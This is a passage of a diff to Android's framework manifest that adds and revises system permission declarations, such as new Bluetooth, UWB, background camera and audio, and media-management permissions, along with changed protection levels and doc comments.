          {@link android.content.Context#getExternalCacheDir}.
-         <p>If this permission is not whitelisted for an app that targets an API level before
+         <p>If this permission is not allowlisted for an app that targets an API level before
          {@link android.os.Build.VERSION_CODES#Q} this permission cannot be granted to apps.</p>
          <p>Protection level: dangerous</p>
     -->
@@ -943,6 +987,23 @@
         android:permissionGroup="android.permission-group.UNDEFINED"
         android:protectionLevel="signature|appop|preinstalled" />
 
+    <!-- Allows an application to modify and delete media files on this device or any connected
+         storage device without user confirmation. Applications must already be granted the
+         {@link #READ_EXTERNAL_STORAGE} or {@link #MANAGE_EXTERNAL_STORAGE}} permissions for this
+         permission to take effect.
+         <p>Even if applications are granted this permission, if applications want to modify or
+         delete media files, they also must get the access by calling
+         {@link android.provider.MediaStore#createWriteRequest(ContentResolver, Collection)},
+         {@link android.provider.MediaStore#createDeleteRequest(ContentResolver, Collection)}, or
+         {@link android.provider.MediaStore#createTrashRequest(ContentResolver, Collection, boolean)}.
+         <p>This permission doesn't give read or write access directly. It only prevents the user
+         confirmation dialog for these requests.
+         <p>If applications are not granted {@link #ACCESS_MEDIA_LOCATION}, the system also pops up
+         the user confirmation dialog for the write request.
+         <p>Protection level: signature|appop|preinstalled -->
+    <permission android:name="android.permission.MANAGE_MEDIA"
+        android:protectionLevel="signature|appop|preinstalled" />
+
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device location                          -->
     <!-- ====================================================================== -->
@@ -1019,10 +1080,10 @@
     <!-- @SystemApi @hide Allows an application to perform IMS Single Registration related actions.
          Only granted if the application is a system app AND is in the Default SMS Role.
          The permission is revoked when the app is taken out of the Default SMS Role.
-        <p>Protection level: signature|privileged
+        <p>Protection level: internal|role
     -->
     <permission android:name="android.permission.PERFORM_IMS_SINGLE_REGISTRATION"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="internal|role" />
 
     <!-- Allows an application to read the user's call log.
          <p class="note"><strong>Note:</strong> If your app uses the
@@ -1168,7 +1229,7 @@
         android:description="@string/permdesc_answerPhoneCalls"
         android:protectionLevel="dangerous|runtime" />
 
-    <!-- Allows a calling application which manages it own calls through the self-managed
+    <!-- Allows a calling application which manages its own calls through the self-managed
          {@link android.telecom.ConnectionService} APIs.  See
          {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED} for more information on the
          self-managed ConnectionService APIs.
@@ -1191,13 +1252,15 @@
                 android:description="@string/permdesc_callCompanionApp"
                 android:protectionLevel="normal" />
 
-    <!-- Exempt this uid from restrictions to background audio recording
+    <!-- Exempt this uid from restrictions to background audio recoding
      <p>Protection level: signature|privileged
+     @hide
+     @SystemApi
     -->
     <permission android:name="android.permission.EXEMPT_FROM_AUDIO_RECORD_RESTRICTIONS"
                 android:label="@string/permlab_exemptFromAudioRecordRestrictions"
                 android:description="@string/permdesc_exemptFromAudioRecordRestrictions"
-                android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged|role" />
 
     <!-- Allows a calling app to continue a call which was started in another app.  An example is a
          video calling app that wants to continue a voice call on the user's mobile network.<p>
@@ -1237,8 +1300,19 @@
         android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_recordAudio"
         android:description="@string/permdesc_recordAudio"
+        android:backgroundPermission="android.permission.RECORD_BACKGROUND_AUDIO"
         android:protectionLevel="dangerous|instant" />
 
+    <!-- @SystemApi @TestApi Allows an application to record audio while in the background.
+         This permission is not intended to be held by apps.
+         <p>Protection level: internal
+        @hide -->
+    <permission android:name="android.permission.RECORD_BACKGROUND_AUDIO"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_recordBackgroundAudio"
+        android:description="@string/permdesc_recordBackgroundAudio"
+        android:protectionLevel="internal|role" />
+
     <!-- ====================================================================== -->
     <!-- Permissions for activity recognition                        -->
     <!-- ====================================================================== -->
@@ -1261,7 +1335,7 @@
         android:protectionLevel="dangerous|instant" />
 
     <!-- ====================================================================== -->
-    <!-- Permissions for accessing the UCE Service                              -->
+    <!-- Permissions for accessing the vendor UCE Service                              -->
     <!-- ====================================================================== -->
 
     <!-- @hide Allows an application to Access UCE-Presence.
@@ -1310,9 +1384,28 @@
         android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_camera"
         android:description="@string/permdesc_camera"
+        android:backgroundPermission="android.permission.BACKGROUND_CAMERA"
         android:protectionLevel="dangerous|instant" />
 
-      <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
+    <!-- Required to be able to discover and connect to nearby Bluetooth devices.
+         <p>Protection level: dangerous -->
+    <permission-group android:name="android.permission-group.NEARBY_DEVICES"
+        android:icon="@drawable/perm_group_nearby_devices"
+        android:label="@string/permgrouplab_nearby_devices"
+        android:description="@string/permgroupdesc_nearby_devices"
+        android:priority="750" />
+
+    <!-- @SystemApi @TestApi Required to be able to access the camera device in the background.
+         This permission is not intended to be held by apps.
+         <p>Protection level: internal
+        @hide -->
+    <permission android:name="android.permission.BACKGROUND_CAMERA"
+            android:permissionGroup="android.permission-group.UNDEFINED"
+            android:label="@string/permlab_backgroundCamera"
+            android:description="@string/permdesc_backgroundCamera"
+            android:protectionLevel="internal|role" />
+
+    <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
            system only camera devices.
            <p>Protection level: system|signature
            @hide -->
@@ -1322,8 +1415,8 @@
         android:description="@string/permdesc_systemCamera"
         android:protectionLevel="system|signature" />
 
-    <!-- Allows receiving the camera service notifications when a camera is opened
-        (by a certain application package) or closed.
+    <!-- @SystemApi Allows receiving the camera service notifications when a camera is opened
+            (by a certain application package) or closed.
         @hide -->
     <permission android:name="android.permission.CAMERA_OPEN_CLOSE_LISTENER"
         android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1344,8 +1437,17 @@
         android:description="@string/permgroupdesc_sensors"
         android:priority="800" />
 
+    <!-- Allows an app to access sensor data with a sampling rate greater than 200 Hz.
+        <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS"
+                android:permissionGroup="android.permission-group.SENSORS"
+                android:label="@string/permlab_highSamplingRateSensors"
+                android:description="@string/permdesc_highSamplingRateSensors"
+                android:protectionLevel="normal" />
+
     <!-- Allows an application to access data from sensors that the user uses to
-         measure what is happening inside his/her body, such as heart rate.
+         measure what is happening inside their body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
         android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1497,7 +1599,8 @@
     <permission android:name="android.permission.BIND_DIRECTORY_SEARCH"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi @hide Allows an application to modify cell broadcasts through the content provider.
+    <!-- @SystemApi @hide Allows an application to modify the cell broadcasts configuration
+         (i.e. enable or disable channels).
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MODIFY_CELL_BROADCASTS"
                 android:protectionLevel="signature|privileged" />
@@ -1550,6 +1653,31 @@
     <permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows an application to provide location-based time zone suggestions to
+         the system server. This is needed because the system server discovers time zone providers
+         by exposed intent actions and metadata, without it any app could potentially register
+         itself as time zone provider. The system server checks for this permission.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- The system server uses this permission to install a default secondary location time zone
+         provider.
+    -->
+    <uses-permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"/>
+
+    <!-- @SystemApi @hide Allows an application to bind to a android.service.TimeZoneProviderService
+         for the purpose of detecting the device's time zone. This prevents arbitrary clients
+         connecting to the time zone provider service. The system server checks that the provider's
+         intent service explicitly sets this permission via the android:permission attribute of the
+         service.
+         This is only expected to be possessed by the system server outside of tests.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
          This should only be used by HDMI-CEC service.
     -->
@@ -1560,7 +1688,7 @@
          such as the geofencing api.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.LOCATION_HARDWARE"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
     <uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
 
     <!-- @SystemApi Allows an application to use the Context Hub.
@@ -1622,7 +1750,7 @@
     <permission android:name="android.permission.MANAGE_IPSEC_TUNNELS"
         android:protectionLevel="signature|appop" />
 
-    <!-- @hide Allows apps to create and manage Test Networks.
+    <!-- @SystemApi @hide Allows apps to create and manage Test Networks.
          <p>Granted only to shell. CTS tests will use
          UiAutomation.AdoptShellPermissionIdentity() to gain access.
     -->
@@ -1665,8 +1793,8 @@
         android:protectionLevel="signature|setup" />
 
     <!-- Allows applications to restart the Wi-Fi subsystem.
-         @SystemApi
-         <p>Not for use by third-party applications. @hide -->
+     @SystemApi
+     <p>Not for use by third-party applications. @hide -->
     <permission android:name="android.permission.RESTART_WIFI_SUBSYSTEM"
                 android:protectionLevel="signature|privileged" />
 
@@ -1678,7 +1806,7 @@
 
     <!-- Allows network stack services (Connectivity and Wifi) to coordinate
          <p>Not for use by third-party or privileged applications.
-         @SystemApi
+         @SystemApi @TestApi
          @hide This should only be used by Connectivity and Wifi Services.
     -->
     <permission android:name="android.permission.NETWORK_STACK"
@@ -1698,7 +1826,7 @@
 
     <!-- Allows Settings and SystemUI to call methods in Networking services
          <p>Not for use by third-party or privileged applications.
-         @SystemApi
+         @SystemApi @TestApi
          @hide This should only be used by Settings and SystemUI.
     -->
     <permission android:name="android.permission.NETWORK_SETTINGS"
@@ -1775,15 +1903,15 @@
     <permission android:name="android.permission.WIFI_UPDATE_USABILITY_STATS_SCORE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi @hide Allows system APK to update Wifi/Cellular coex channels to avoid.
-         <p>Not for use by third-party applications. -->
+    <!-- @SystemApi @hide Allows applications to update Wifi/Cellular coex channels to avoid.
+             <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WIFI_UPDATE_COEX_UNSAFE_CHANNELS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|role" />
 
     <!-- @SystemApi @hide Allows applications to access Wifi/Cellular coex channels being avoided.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WIFI_ACCESS_COEX_UNSAFE_CHANNELS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|role" />
 
     <!-- @SystemApi @hide Allows system APK to manage country code.
              <p>Not for use by third-party applications. -->
@@ -1809,12 +1937,44 @@
         android:label="@string/permlab_bluetooth"
         android:protectionLevel="normal" />
 
+    <!-- Required to be able to discover and pair nearby Bluetooth devices.
+         <p>Protection level: dangerous -->
+    <permission android:name="android.permission.BLUETOOTH_SCAN"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:description="@string/permdesc_bluetooth_scan"
+        android:label="@string/permlab_bluetooth_scan"
+        android:protectionLevel="dangerous" />
+
+    <!-- Required to be able to connect to paired Bluetooth devices.
+         <p>Protection level: dangerous -->
+    <permission android:name="android.permission.BLUETOOTH_CONNECT"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:description="@string/permdesc_bluetooth_connect"
+        android:label="@string/permlab_bluetooth_connect"
+        android:protectionLevel="dangerous" />
+
+    <!-- Required to be able to advertise to nearby Bluetooth devices.
+         <p>Protection level: dangerous -->
+    <permission android:name="android.permission.BLUETOOTH_ADVERTISE"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:description="@string/permdesc_bluetooth_advertise"
+        android:label="@string/permlab_bluetooth_advertise"
+        android:protectionLevel="dangerous" />
+
+    <!-- Required to be able to range to devices using ultra-wideband.
+         <p>Protection level: dangerous -->
+    <permission android:name="android.permission.UWB_RANGING"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:description="@string/permdesc_uwb_ranging"
+        android:label="@string/permlab_uwb_ranging"
+        android:protectionLevel="dangerous" />
+
     <!-- @SystemApi @TestApi Allows an application to suspend other apps, which will prevent the
          user from using them until they are unsuspended.
          @hide
     -->
     <permission android:name="android.permission.SUSPEND_APPS"
-        android:protectionLevel="signature|wellbeing" />
+        android:protectionLevel="signature|role" />
 
     <!-- Allows applications to discover and pair bluetooth devices.
          <p>Protection level: normal
@@ -1842,6 +2002,12 @@
     <permission android:name="android.permission.BLUETOOTH_STACK"
         android:protectionLevel="signature" />
 
+    <!-- Allows uhid write access for creating virtual input devices
+         @hide
+    -->
+    <permission android:name="android.permission.VIRTUAL_INPUT_DEVICE"
+        android:protectionLevel="signature" />
+
     <!-- Allows applications to perform I/O operations over NFC.
          <p>Protection level: normal
     -->
@@ -1871,6 +2037,9 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an internal user to use privileged SecureElement APIs.
+         Applications holding this permission can access OMAPI reset system API
+         and bypass OMAPI AccessControlEnforcer.
+         <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SECURE_ELEMENT_PRIVILEGED_OPERATION"
         android:protectionLevel="signature|privileged" />
@@ -1987,6 +2156,10 @@
     <permission android:name="android.permission.VIBRATE_ALWAYS_ON"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows access to the vibrator state.
+         <p>Protection level: signature
+         @hide
+    -->
     <permission android:name="android.permission.ACCESS_VIBRATOR_STATE"
         android:label="@string/permdesc_vibrator_state"
         android:description="@string/permdesc_vibrator_state"
@@ -2175,7 +2348,7 @@
          Does not include placing calls.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MODIFY_PHONE_STATE"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- Allows read only access to precise phone state.
          Allows reading of detailed information about phone state for special-use applications
@@ -2183,18 +2356,25 @@
     <permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows read access to privileged phone state.
+    <!-- @SystemApi @TestApi Allows read access to privileged phone state.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows to read device identifiers and use ICC based authentication like EAP-AKA.
+         Often required in authentication to access the carrier's server and manage services
+         of the subscriber.
+         <p>Protection level: signature|appop -->
+    <permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER"
+        android:protectionLevel="signature|appop" />
+
     <!-- @SystemApi Allows read access to emergency number information for ongoing calls or SMS
          sessions.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows listen permission to always reported signal strength.
+    <!-- Allows listen permission to always reported signal strength.
          @hide Used internally. -->
     <permission android:name="android.permission.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH"
         android:protectionLevel="signature" />
@@ -2226,9 +2406,11 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- Allows to query ongoing call details and manage ongoing calls
-        <p>Protection level: signature|appop -->
+     <p>Protection level: signature|appop -->
     <permission android:name="android.permission.MANAGE_ONGOING_CALLS"
-        android:protectionLevel="signature|appop" />
+        android:protectionLevel="signature|appop"
+        android:label="@string/permlab_manageOngoingCalls"
+        android:description="@string/permdesc_manageOngoingCalls" />
 
     <!-- Allows the app to request network scans from telephony.
          <p>Not for use by third-party applications.
@@ -2261,10 +2443,10 @@
         android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link android.telecom.CallDiagnosticService},
-     to ensure that only the system can bind to it.
-     <p>Protection level: signature
-     @SystemApi
-     @hide
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         @SystemApi
+         @hide
     -->
     <permission android:name="android.permission.BIND_CALL_DIAGNOSTIC_SERVICE"
         android:protectionLevel="signature" />
@@ -2295,7 +2477,7 @@
     <!-- @SystemApi Allows an application to control the in-call experience.
          @hide -->
     <permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- Allows an application to receive STK related commands.
          @hide -->
@@ -2374,11 +2556,13 @@
         android:protectionLevel="signature" />
 
     <!-- Required for an Application to access APIs related to RCS User Capability Exchange.
-         <p>Protection level: signature|privileged
+         <p> This permission is only granted to system applications fulfilling the SMS, Dialer, and
+         Contacts app roles.
+         <p>Protection level: internal|role
          @SystemApi
          @hide -->
     <permission android:name="android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="internal|role" />
 
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
@@ -2481,10 +2665,10 @@
     <permission android:name="android.permission.REAL_GET_TASKS"
         android:protectionLevel="signature|privileged" />
 
-    <!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
+    <!-- @TestApi Allows an application to start a task from a ActivityManager#RecentTaskInfo.
          @hide -->
     <permission android:name="android.permission.START_TASKS_FROM_RECENTS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
          across the users on the device, using singleton services and
@@ -2509,7 +2693,7 @@
          interact across profiles in the same profile group.
          @hide -->
     <permission android:name="android.permission.CONFIGURE_INTERACT_ACROSS_PROFILES"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
@@ -2518,13 +2702,19 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to create, remove users and get the list of
-         users on the device. Applications holding this permission can only create restricted,
-         guest, managed, demo, and ephemeral users. For creating other kind of users,
+         users on the device. Applications holding this permission can create users (including
+         normal, restricted, guest, managed, and demo users) and can optionally endow them with the
+         ephemeral property. For creating users with other kinds of properties,
          {@link android.Manifest.permission#MANAGE_USERS} is needed.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.CREATE_USERS"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @hide Allows an application to access data blobs across users.
+         This permission is not available to third party applications. -->
+    <permission android:name="android.permission.ACCESS_BLOBS_ACROSS_USERS"
+        android:protectionLevel="signature|privileged|development" />
+
     <!-- @hide Allows an application to set the profile owners and the device owner.
          This permission is not available to third party applications.-->
     <permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
@@ -2558,12 +2748,17 @@
 
     <!-- @SystemApi @TestApi @hide Allows an application to change to remove/kill tasks -->
     <permission android:name="android.permission.REMOVE_TASKS"
-        android:protectionLevel="signature|documenter" />
+        android:protectionLevel="signature|documenter|recents" />
 
-    <!-- @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
+    <!-- @deprecated Use MANAGE_ACTIVITY_TASKS instead.
+         @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @TestApi @hide Allows an application to create/manage/remove tasks -->
+    <permission android:name="android.permission.MANAGE_ACTIVITY_TASKS"
+        android:protectionLevel="signature|recents" />
+
     <!-- @SystemApi @TestApi @hide Allows an application to embed other activities -->
     <permission android:name="android.permission.ACTIVITY_EMBEDDING"
                 android:protectionLevel="signature|privileged" />
@@ -2574,11 +2769,19 @@
     <permission android:name="android.permission.START_ANY_ACTIVITY"
         android:protectionLevel="signature" />
 
-    <!-- Allows an application to start activities from background
-         @hide -->
+    <!-- @SystemApi @hide Allows an application to start activities from background -->
     <permission android:name="android.permission.START_ACTIVITIES_FROM_BACKGROUND"
         android:protectionLevel="signature|privileged|vendorPrivileged|oem|verifier" />
 
+    <!-- Allows an application to start foreground services from the background at any time.
+         <em>This permission is not for use by third-party applications</em>,
+         with the only exception being if the app is the default SMS app.
+         Otherwise, it's only usable by privileged apps, app verifier app, and apps with
+         any of the EMERGENCY or SYSTEM GALLERY roles.
+         -->
+    <permission android:name="android.permission.START_FOREGROUND_SERVICES_FROM_BACKGROUND"
+                android:protectionLevel="signature|privileged|vendorPrivileged|oem|verifier|role"/>
+
     <!-- @SystemApi Must be required by activities that handle the intent action
          {@link Intent#ACTION_SEND_SHOW_SUSPENDED_APP_DETAILS}. This is for use by apps that
          hold {@link Manifest.permission#SUSPEND_APPS} to interact with the system.
@@ -2616,8 +2819,9 @@
     <permission android:name="android.permission.GET_PROCESS_STATE_AND_OOM_SCORE"
         android:protectionLevel="signature|privileged|development" />
 
-    <!-- Allows use of PendingIntent.getIntent().
-         @hide -->
+    <!-- Allows use of PendingIntent.getIntent(), .
+         @hide @SystemApi(client=android.annotation.SystemApi.Client.MODULE_LIBRARIES)
+         -->
     <permission android:name="android.permission.GET_INTENT_SENDER_INTENT"
         android:protectionLevel="signature" />
 
@@ -2640,11 +2844,24 @@
          The app can check whether it has this authorization by calling
          {@link android.provider.Settings#canDrawOverlays
          Settings.canDrawOverlays()}.
-         <p>Protection level: signature|preinstalled|appop|pre23|development -->
+         <p>Protection level: signature|setup|appop|installer|appPredictor|pre23|development -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
         android:label="@string/permlab_systemAlertWindow"
         android:description="@string/permdesc_systemAlertWindow"
-        android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+        android:protectionLevel="signature|setup|appop|installer|appPredictor|pre23|development" />
+
+    <!-- @SystemApi @hide Allows an application to create windows using the type
+         {@link android.view.WindowManager.LayoutParams#TYPE_APPLICATION_OVERLAY},
+         shown on top of all other apps.
+
+         Allows an application to use
+         {@link android.view.WindowManager.LayoutsParams#setSystemApplicationOverlay(boolean)}
+         to create overlays that will stay visible, even if another window is requesting overlays to
+         be hidden through {@link android.view.Window#setHideOverlayWindows(boolean)}.
+
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.SYSTEM_APPLICATION_OVERLAY"
+                android:protectionLevel="signature|recents|role"/>
 
     <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
          @hide
@@ -2684,6 +2901,14 @@
                 android:description="@string/permdesc_useDataInBackground"
                 android:protectionLevel="normal" />
 
+    <!-- Allows app to request to be associated with a device via
+         {@link android.companion.CompanionDeviceManager}
+         as a "watch"
+         <p>Protection level: normal
+     -->
+    <permission android:name="android.permission.REQUEST_COMPANION_PROFILE_WATCH"
+                android:protectionLevel="normal" />
+
     <!-- Allows a companion app to associate to Wi-Fi.
          <p>Only for use by a single pre-approved app.
          @hide
@@ -2692,6 +2917,25 @@
     <permission android:name="android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an app to read and listen to projection state.
+         @hide
+         @SystemApi
+    -->
+    <permission android:name="android.permission.READ_PROJECTION_STATE"
+                android:protectionLevel="signature" />
+
+    <!-- Allows an app to set and release automotive projection.
+         <p>Once permissions can be granted via role-only, this needs to be changed to
+          protectionLevel="role" and added to the SYSTEM_AUTOMOTIVE_PROJECTION role.
+         @hide
+         @SystemApi
+    -->
+    <permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- Allows an app to prevent non-system-overlay windows from being drawn on top of it -->
+    <permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"
+                android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the system wallpaper -->
@@ -2755,10 +2999,19 @@
     <permission android:name="android.permission.SUGGEST_MANUAL_TIME_AND_ZONE"
         android:protectionLevel="signature" />
 
+    <!-- Allows system clock time suggestions from an external clock / time source to be made.
+         The nature of "external" could be highly form-factor specific. Example, times
+         obtained via the VHAL for Android Auto OS.
+         <p>Not for use by third-party applications.
+         @SystemApi @hide
+    -->
+    <permission android:name="android.permission.SUGGEST_EXTERNAL_TIME"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Allows applications like settings to manage configuration associated with automatic time
          and time zone detection.
          <p>Not for use by third-party applications.
-         @hide
+         @SystemApi @hide
     -->
     <permission android:name="android.permission.MANAGE_TIME_AND_ZONE_DETECTION"
         android:protectionLevel="signature|privileged" />
@@ -2878,7 +3131,7 @@
     <permission android:name="android.permission.READ_DEVICE_CONFIG"
         android:protectionLevel="signature|preinstalled" />
 
-    <!-- @hide Allows an application to monitor config settings access.
+    <!-- @hide Allows an application to monitor {@link android.provider.Settings.Config} access.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MONITOR_DEVICE_CONFIG_ACCESS"
         android:protectionLevel="signature"/>
@@ -3035,7 +3288,7 @@
     <!-- @SystemApi Allows an application to read system update info.
          @hide -->
     <permission android:name="android.permission.READ_SYSTEM_UPDATE_INFO"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to bind to an application's task services
          @hide -->
@@ -3093,7 +3346,12 @@
     <!-- Allows an application to set, update and remove the credential management app.
          @hide -->
     <permission android:name="android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
+
+    <!-- Allows a font updater application to request that the system installs/uninstalls/updates
+         font files. @SystemApi @hide -->
+    <permission android:name="android.permission.UPDATE_FONTS"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ========================================= -->
     <!-- Permissions for special development tools -->
@@ -3182,7 +3440,7 @@
          and its icons.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.STATUS_BAR"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- Allows an application to trigger bugreport via shell using the bugreport API.
         <p>Not for use by third-party applications.
@@ -3192,8 +3450,8 @@
         android:protectionLevel="signature" />
 
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
-    @hide -->
-    // TODO: remove telephony once decouple settings activity from phone process
+        @hide
+        @SystemApi -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
         android:protectionLevel="signature" />
 
@@ -3205,8 +3463,7 @@
 
     <!-- Allows SystemUI to request third party controls.
          <p>Should only be requested by the System and required by
-         ControlsService declarations.
-         @hide
+         {@link android.service.controls.ControlsProviderService} declarations.
     -->
     <permission android:name="android.permission.BIND_CONTROLS"
         android:protectionLevel="signature" />
@@ -3222,7 +3479,7 @@
     <!-- Allows an application to update device statistics.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.UPDATE_DEVICE_STATS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|role" />
 
     <!-- @SystemApi @hide Allows an application to collect application operation statistics.
          Not for use by third party apps. -->
@@ -3255,10 +3512,19 @@
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
         android:protectionLevel="signature" />
 
+    <!-- Allows an application to avoid all toast rate limiting restrictions.
+         <p>Not for use by third-party applications.
+         @hide
+    -->
+    <permission android:name="android.permission.UNLIMITED_TOASTS"
+                android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.UNLIMITED_TOASTS" />
+
     <!-- @SystemApi Allows an application to use
          {@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
          to hide non-system-overlay windows.
          <p>Not for use by third-party applications.
+         @deprecated Use {@link android.Manifest.permission#HIDE_OVERLAY_WINDOWS} instead
          @hide
     -->
     <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
@@ -3349,7 +3615,7 @@
          critical UI such as the home screen.
          @hide -->
     <permission android:name="android.permission.STOP_APP_SWITCHES"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- @SystemApi Allows an application to retrieve private information about
          the current top activity, such as any assist context it can provide.
@@ -3357,7 +3623,7 @@
          @hide
     -->
     <permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|recents" />
 
     <!-- Allows an application to retrieve the current state of keys and
          switches.
@@ -3444,6 +3710,12 @@
     <permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
         android:protectionLevel="signature" />
 
+    <!-- Must be required by any
+         {@link android.companion.CompanionDeviceService}s
+         to ensure that only the system can bind to it. -->
+    <permission android:name="android.permission.BIND_COMPANION_DEVICE_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
          that only the system can bind to it.
          @hide -->
@@ -3466,6 +3738,15 @@
                 android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.BIND_ATTENTION_SERVICE" />
 
+    <!-- @SystemApi Must be required by a RotationResolverService
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_ROTATION_RESOLVER_SERVICE"
+        android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.BIND_ROTATION_RESOLVER_SERVICE" />
+
     <!-- Must be required by a {@link android.net.VpnService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
@@ -3487,6 +3768,21 @@
     <permission android:name="android.permission.BIND_VOICE_INTERACTION"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Must be required by a {@link android.service.voice.HotwordDetectionService},
+         to ensure that only the system can bind to it.
+         <p>Protection level: signature
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
